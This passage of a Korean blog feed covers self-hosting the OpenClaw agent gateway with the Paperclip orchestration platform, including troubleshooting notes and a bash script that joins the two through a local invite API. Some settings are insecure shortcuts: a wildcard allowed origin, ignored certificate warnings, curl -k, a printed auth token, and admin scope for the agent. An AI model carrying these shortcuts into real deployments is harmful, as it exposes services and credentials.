# 결과: &quot;github-copilot usage: Premium XX% left &amp;middot; Chat 100% left&quot;
# Premium 0%가 되면 Copilot Pro 결제 필요&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;참고 사항&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;- &lt;b&gt;포트 13100&lt;/b&gt;은&lt;b&gt; Paperclip&lt;/b&gt;의 &lt;b&gt;WebSocket dev&lt;/b&gt; 서버 포트이며, 정리하지 않으면 충돌합니다.&lt;br /&gt;&amp;nbsp;&lt;br /&gt;- &lt;b&gt;PM2&lt;/b&gt;가&amp;nbsp;`.&lt;b&gt;mjs&lt;/b&gt;`&amp;nbsp;파일의&amp;nbsp;&lt;b&gt;심볼릭&amp;nbsp;링크&lt;/b&gt;를&amp;nbsp;&lt;b&gt;ESM&amp;nbsp;모듈&lt;/b&gt;로&amp;nbsp;실행할&amp;nbsp;때,&amp;nbsp;`&lt;b&gt;--&lt;/b&gt;`&amp;nbsp;뒤&amp;nbsp;인자를&amp;nbsp;무시하는&amp;nbsp;&lt;b&gt;버그&lt;/b&gt;가 있습니다.&lt;br /&gt;&lt;b&gt;bash&amp;nbsp;wrapper&lt;/b&gt;에서&amp;nbsp;`&lt;b&gt;exec&amp;nbsp;/usr/bin/node&amp;nbsp;&amp;lt;경로&amp;gt;&amp;nbsp;gateway&lt;/b&gt;`로 직접 호출하면 해결됩니다.&lt;br /&gt;&amp;nbsp;&lt;br /&gt;- 브라우저에서&amp;nbsp;&lt;b&gt;Control&amp;nbsp;UI&amp;nbsp;&lt;/b&gt;접속&amp;nbsp;시&amp;nbsp;&quot;&lt;b&gt;origin&amp;nbsp;not&amp;nbsp;allowed&lt;/b&gt;&quot;&amp;nbsp;에러가&amp;nbsp;나면&amp;nbsp;`&lt;b&gt;controlUi.allowedOrigins&lt;/b&gt;`를&amp;nbsp;`&lt;b&gt;['*']&lt;/b&gt;`로 설정합니다.&lt;br /&gt;&amp;nbsp;&lt;br /&gt;- &lt;b&gt;OpenClaw&lt;/b&gt;는 새 장치(브라우저) 연결 시&amp;nbsp;&lt;b&gt;pairing 승인&lt;/b&gt;이 필요한 구조입니다.&lt;br /&gt;`&lt;b&gt;openclaw devices approve --latest&lt;/b&gt;`로 자동 승인하며, 수동으로는 &lt;b&gt;Control UI&lt;/b&gt;에서 승인합니다.&lt;br /&gt;&amp;nbsp;&lt;br /&gt;- &lt;b&gt;OpenClaw Control UI&lt;/b&gt;는 &lt;b&gt;WebCrypto API&lt;/b&gt;를 사용합니다.&lt;br /&gt;대부분의&amp;nbsp;브라우저는&amp;nbsp;`&lt;b&gt;http://&lt;/b&gt;`에서&amp;nbsp;&lt;b&gt;WebCrypto&lt;/b&gt;를 차단하며 (Secure Context 필수). &lt;br /&gt;자체&amp;nbsp;서명&amp;nbsp;인증서라도&amp;nbsp;`&lt;b&gt;https://&lt;/b&gt;`이면 동작합니다. 브라우저 경고만 무시하면 됩니다.&lt;br /&gt;&lt;b&gt;(* 정 거슬리시면 자체 도메인 구성하시거나, XRDP를 통해서 로컬로 접속하시면됩니다.)&lt;/b&gt;&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Paperclip&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Paperclip&lt;/b&gt;은 &lt;b&gt;여러 AI Agent&lt;/b&gt;를 &lt;b&gt;조직&lt;/b&gt;처럼 관리하고 협업시키는 &lt;b&gt;AI 회사 운영 플랫폼 오픈소스&lt;/b&gt;입니다.&lt;br /&gt;각자의 역할과 권한에 따라 비즈니스 목표를 달성하도록 오케스트레이션(Orchestration)하는 중앙 제어 시스템입니다.&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;a href=&quot;https://github.com/paperclipai/paperclip&quot; target=&quot;_self&quot;&gt;&lt;span&gt;paperclipai/paperclip: Open-source orchestration for zero-human companies&lt;/span&gt;&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;figure data-ke-type=&quot;opengraph&quot; data-og-title=&quot;GitHub - paperclipai/paperclip: Open-source orchestration for zero-human companies&quot; data-ke-align=&quot;alignCenter&quot; data-og-description=&quot;Open-source orchestration for zero-human companies - paperclipai/paperclip&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/paperclipai/paperclip&quot; data-og-image=&quot;https://blog.kakaocdn.net/dna/FETOD/dJMb83Si9Q4/AAAAAAAAAAAAAAAAAAAAAJRuCnmgGqLjfb8ptSKmcat0jN9M-cM_DSML1vm8TjF7/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&amp;amp;expires=1780239599&amp;amp;allow_ip=&amp;amp;allow_referer=&amp;amp;signature=mTrRcGvQ%2FSWfeDlIaBW4qjbkdTE%3D&quot; data-og-url=&quot;https://github.com/paperclipai/paperclip&quot;&gt;&lt;a href=&quot;https://github.com/paperclipai/paperclip&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/paperclipai/paperclip&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://blog.kakaocdn.net/dna/FETOD/dJMb83Si9Q4/AAAAAAAAAAAAAAAAAAAAAJRuCnmgGqLjfb8ptSKmcat0jN9M-cM_DSML1vm8TjF7/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&amp;amp;expires=1780239599&amp;amp;allow_ip=&amp;amp;allow_referer=&amp;amp;signature=mTrRcGvQ%2FSWfeDlIaBW4qjbkdTE%3D');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - paperclipai/paperclip: Open-source orchestration for zero-human companies&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Open-source orchestration for zero-human companies - paperclipai/paperclip&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;구축 사항&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- &lt;b&gt;Paperclip&lt;/b&gt;은 `&lt;b&gt;pnpm start&lt;/b&gt;` 스크립트가 없으며,&lt;br /&gt;`&lt;b&gt;pnpm dev&lt;/b&gt;`만 동작합니다. 처음에 `&lt;b&gt;pnpm start&lt;/b&gt;`로 실행해서 &quot;&lt;b&gt;Missing script&lt;/b&gt;&quot; 에러가 발생합니다.&lt;br /&gt;&lt;br /&gt;- `&lt;b&gt;local_trusted&lt;/b&gt;`는 &lt;b&gt;127.0.0.1 로컬 접속&lt;/b&gt;만 가능하며, `&lt;b&gt;authenticated&lt;/b&gt;`는&lt;b&gt; 0.0.0.0&lt;/b&gt; 접속 가능하기 때문에&lt;br /&gt;즉, &lt;b&gt;외부 접속&lt;/b&gt;을 받으려면 반드시 `&lt;b&gt;authenticated&lt;/b&gt;` 모드와 `&lt;b&gt;HOST=0.0.0.0&lt;/b&gt;` 세팅이 필요하며,&lt;br /&gt;`&lt;b&gt;local_trusted&lt;/b&gt;`에서 `&lt;b&gt;HOST=0.0.0.0&lt;/b&gt;`을 하면&lt;b&gt; 보안 에러&lt;/b&gt;가 발생합니다.&lt;br /&gt;&lt;br /&gt;-&lt;b&gt; Paperclip&lt;/b&gt;은 외부 IP로 접속하면 &quot;&lt;b&gt;Hostname not allowed&lt;/b&gt;&quot; 오류가 발생하기 때문에&lt;br /&gt;&amp;nbsp;`&lt;b&gt;~/.paperclip/instances/default/config.json&lt;/b&gt;`에 허용할 호스트명을 등록해야 합니다.&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;span style=&quot;font-family: Noto Serif KR;&quot;&gt;접속 및 세팅&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;b&gt;OpenClaw Control UI&lt;/b&gt; - https://&amp;lt;서버IP&amp;gt;&lt;br /&gt;&lt;b&gt;Paperclip&lt;/b&gt; - https://&amp;lt;서버IP&amp;gt;:3443&lt;br /&gt;* 개인적으로 개인 도메인 구성을 권장합니다.&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1050&quot; data-origin-height=&quot;878&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kzsnc/dJMcahjEgpM/9LOGRJgRZyPBWdzuuz3TnK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kzsnc/dJMcahjEgpM/9LOGRJgRZyPBWdzuuz3TnK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kzsnc/dJMcahjEgpM/9LOGRJgRZyPBWdzuuz3TnK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fkzsnc%2FdJMcahjEgpM%2F9LOGRJgRZyPBWdzuuz3TnK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1050&quot; height=&quot;878&quot; data-origin-width=&quot;1050&quot; data-origin-height=&quot;878&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;첫 브라우저 접속 시 &quot;&lt;b&gt;pairing required&lt;/b&gt;&quot; 에러가 난다면&lt;br /&gt;아래 명령어를 통해 장치를 승인합니다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;openclaw devices approve --latest&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2822&quot; data-origin-height=&quot;1448&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJlgvV/dJMcacP8VbI/YKTcKXW4xmcIXHHw8ZKLmk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJlgvV/dJMcacP8VbI/YKTcKXW4xmcIXHHw8ZKLmk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJlgvV/dJMcacP8VbI/YKTcKXW4xmcIXHHw8ZKLmk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJlgvV%2FdJMcacP8VbI%2FYKTcKXW4xmcIXHHw8ZKLmk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2822&quot; height=&quot;1448&quot; data-origin-width=&quot;2822&quot; data-origin-height=&quot;1448&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2816&quot; data-origin-height=&quot;1460&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ZJ96u/dJMcad2wZdo/XPe2rSgoKpeasodazHAu4K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ZJ96u/dJMcad2wZdo/XPe2rSgoKpeasodazHAu4K/img.png&quot; data-alt=&quot;Agent - Skills&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ZJ96u/dJMcad2wZdo/XPe2rSgoKpeasodazHAu4K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZJ96u%2FdJMcad2wZdo%2FXPe2rSgoKpeasodazHAu4K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2816&quot; height=&quot;1460&quot; data-origin-width=&quot;2816&quot; data-origin-height=&quot;1460&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Agent - Skills&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;사용 할 &lt;b&gt;skills&lt;/b&gt; 항목에 맞게 활성화 해주시면됩니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Paperclip + OpenClaw 연동&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 Paperclip 접속하여 초기 설정을 완료합니다.&lt;br /&gt;&lt;br /&gt;회사 이름 입력후 모두 기본값으로 넘어가 줍니다.&lt;br /&gt;초기설정에는 OpenClaw Gateway가 비활성화 상태입니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2826&quot; data-origin-height=&quot;1460&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cxVf4w/dJMcafzlCgy/6qlB2AAG4xB9c4FTCHwvhK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cxVf4w/dJMcafzlCgy/6qlB2AAG4xB9c4FTCHwvhK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cxVf4w/dJMcafzlCgy/6qlB2AAG4xB9c4FTCHwvhK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcxVf4w%2FdJMcafzlCgy%2F6qlB2AAG4xB9c4FTCHwvhK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2826&quot; height=&quot;1460&quot; data-origin-width=&quot;2826&quot; data-origin-height=&quot;1460&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1735&quot; data-origin-height=&quot;1012&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DkWwL/dJMcaaY44zt/mmkDLFnuHOCJpCHTWKYitk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DkWwL/dJMcaaY44zt/mmkDLFnuHOCJpCHTWKYitk/img.png&quot; data-alt=&quot;Paperclip UI &amp;amp;rarr; Settings &amp;amp;rarr; Invites &amp;amp;rarr; 초대 링크 생성&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DkWwL/dJMcaaY44zt/mmkDLFnuHOCJpCHTWKYitk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDkWwL%2FdJMcaaY44zt%2FmmkDLFnuHOCJpCHTWKYitk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1735&quot; height=&quot;1012&quot; data-origin-width=&quot;1735&quot; data-origin-height=&quot;1012&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Paperclip UI &amp;rarr; Settings &amp;rarr; Invites &amp;rarr; 초대 링크 생성&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2822&quot; data-origin-height=&quot;1444&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TBnIL/dJMcafMTGMb/BjyLst7uR8AGfMQU0OxhP0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TBnIL/dJMcafMTGMb/BjyLst7uR8AGfMQU0OxhP0/img.png&quot; data-alt=&quot;URL 값의 pcp_invite_&amp;amp;lt;번호&amp;amp;gt;를 기억합니다.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TBnIL/dJMcafMTGMb/BjyLst7uR8AGfMQU0OxhP0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTBnIL%2FdJMcafMTGMb%2FBjyLst7uR8AGfMQU0OxhP0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2822&quot; height=&quot;1444&quot; data-origin-width=&quot;2822&quot; data-origin-height=&quot;1444&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;URL 값의 pcp_invite_&amp;lt;번호&amp;gt;를 기억합니다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;이후 &lt;b&gt;OpenClaw&lt;/b&gt; 서버에서 초대를 수락해야합니다.&lt;br /&gt;&lt;br /&gt;매번 &lt;b&gt;curl&lt;/b&gt; 치기 번거로우므로 `&lt;b&gt;join_paperclip.sh&lt;/b&gt;` 스크립트를 작성합니다.&lt;br /&gt;&lt;b&gt;pcp_invite_&amp;lt;번호&amp;gt;&lt;/b&gt;에 &lt;b&gt;Paperclip&lt;/b&gt;에서 생성했던 초대 &lt;b&gt;URL값&lt;/b&gt;을 작성합니다.&lt;br /&gt;&lt;br /&gt;스크립트&amp;nbsp;안의&amp;nbsp;초대&amp;nbsp;코드(`&lt;b&gt;pcp_invite_xxxx&lt;/b&gt;`)는 &lt;b&gt;매번&lt;/b&gt; 새로 생성한 코드로 &lt;b&gt;교체&lt;/b&gt;해야 합니다.&lt;br /&gt;&lt;b&gt;초대 코드&lt;/b&gt;는 &lt;b&gt;1회용&lt;/b&gt;이므로, &lt;b&gt;재연동 시&lt;/b&gt;에는 Paperclip UI에서 &lt;b&gt;새 초대&lt;/b&gt;를 &lt;b&gt;생성&lt;/b&gt;합니다.&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;javascript&quot;&gt;&lt;code&gt;#!/bin/bash
set -e

TOKEN=$(cat /home/ubuntu/.openclaw/openclaw.json | jq -r '.gateway.auth.token')
echo &quot;Token: $TOKEN&quot;

BODY=$(python3 -c &quot;
import json
body = {
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;'requestType': 'agent',
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;'agentName': 'OpenClaw',
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;'adapterType': 'openclaw_gateway',
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;'capabilities': 'OpenClaw agent adapter',
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;'agentDefaultsPayload': {
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;'url': 'ws://127.0.0.1:18789',
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;'paperclipApiUrl': 'https://127.0.0.1:3443',
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;'headers': {'x-openclaw-token': '$TOKEN'},
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;'waitTimeoutMs': 120000,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;'sessionKeyStrategy': 'issue',
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;'role': 'operator',
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;'scopes': ['operator.admin']
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
}
print(json.dumps(body))
&quot;)

echo &quot;Body: $BODY&quot;

RESULT=$(curl -sk -X POST https://127.0.0.1:3443/api/invites/pcp_invite_&amp;lt;번호&amp;gt;/accept \
&amp;nbsp;&amp;nbsp;-H 'Content-Type: application/json' \
&amp;nbsp;&amp;nbsp;-d &quot;$BODY&quot; 2&amp;gt;&amp;amp;1)

echo &quot;Response: $RESULT&quot;

# Save response for later claim
echo &quot;$RESULT&quot; &amp;gt; /tmp/join_response.json&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;bash&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 서버에서 실행
chmod +x /home/ubuntu/join_paperclip.sh

# 초대 코드를 스크립트 안에 설정한 뒤 실행
bash /home/ubuntu/join_paperclip.sh&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2822&quot; data-origin-height=&quot;1456&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EuH9x/dJMcahxachx/rbKhksaTAcZ13cR3DXYKf0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EuH9x/dJMcahxachx/rbKhksaTAcZ13cR3DXYKf0/img.png&quot; data-alt=&quot;Inbox에서 초대를 수락합니다.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EuH9x/dJMcahxachx/rbKhksaTAcZ13cR3DXYKf0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEuH9x%2FdJMcahxachx%2FrbKhksaTAcZ13cR3DXYKf0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2822&quot; height=&quot;1456&quot; data-origin-width=&quot;2822&quot; data-origin-height=&quot;1456&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Inbox에서 초대를 수락합니다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CpWKj/dJMcahYdh9V/9Hz8kxJuOs2cLRgqmztn01/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CpWKj/dJMcahYdh9V/9Hz8kxJuOs2cLRgqmztn01/img.png&quot; data-origin-width=&quot;2814&quot; data-origin-height=&quot;1444&quot; style=&quot;width: 49.296%;&quot; data-is-animation=&quot;false&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CpWKj/dJMcahYdh9V/9Hz8kxJuOs2cLRgqmztn01/img.png&quot; alt=&quot;&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCpWKj%2FdJMcahYdh9V%2F9Hz8kxJuOs2cLRgqmztn01%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2814&quot; height=&quot;1444&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bDovMe/dJMcabRdOjw/nrCdXouk1RsqlgQX71zjE1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bDovMe/dJMcabRdOjw/nrCdXouk1RsqlgQX71zjE1/img.png&quot; data-origin-width=&quot;2828&quot; data-origin-height=&quot;1444&quot; style=&quot;width: 49.5412%;&quot; data-is-animation=&quot;false&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bDovMe/dJMcabRdOjw/nrCdXouk1RsqlgQX71zjE1/img.png&quot; alt=&quot;&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbDovMe%2FdJMcabRdOjw%2FnrCdXouk1RsqlgQX71zjE1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2828&quot; height=&quot;1444&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>AI/Agent</category>
      <category>Ai</category>
      <category>copilot</category>
      <category>github</category>
      <category>openclaw</category>
      <category>paperclip</category>
      <category>terraform</category>
      <author>wogho</author>
      <guid isPermaLink="true">https://noong2.tistory.com/250</guid>
      <comments>https://noong2.tistory.com/250#entry250comment</comments>
      <pubDate>Thu, 2 Apr 2026 15:44:33 +0900</pubDate>
    </item>
    <item>
      <title>Terraform 활용한 Oracle Cloud 인스턴스 생성</title>
      <link>https://noong2.tistory.com/249</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OCI는 장기적인 인프라 관리의 어려움과 장기간 미사용에 대한 서버처리로 인해서&amp;nbsp;&lt;br /&gt;지속적으로 프로비저닝 해야하는 큰 불편이 있습니다.&lt;br /&gt;&lt;br /&gt;해당 글은 &lt;b&gt;Terraform&lt;/b&gt;를 활용하여 &lt;b&gt;Oracle Cloud&lt;/b&gt; 인스턴스 생성하는 과정을 작성해보았습니다.&lt;br /&gt;오라클 클라우드 계정이 없다면 아래 링크를 통하여 가입을 진행합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;가입 시 별도의 &lt;b&gt;신용카드&lt;/b&gt;가 필요합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://signup.cloud.oracle.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://signup.cloud.oracle.com/&lt;/a&gt;&lt;/p&gt;
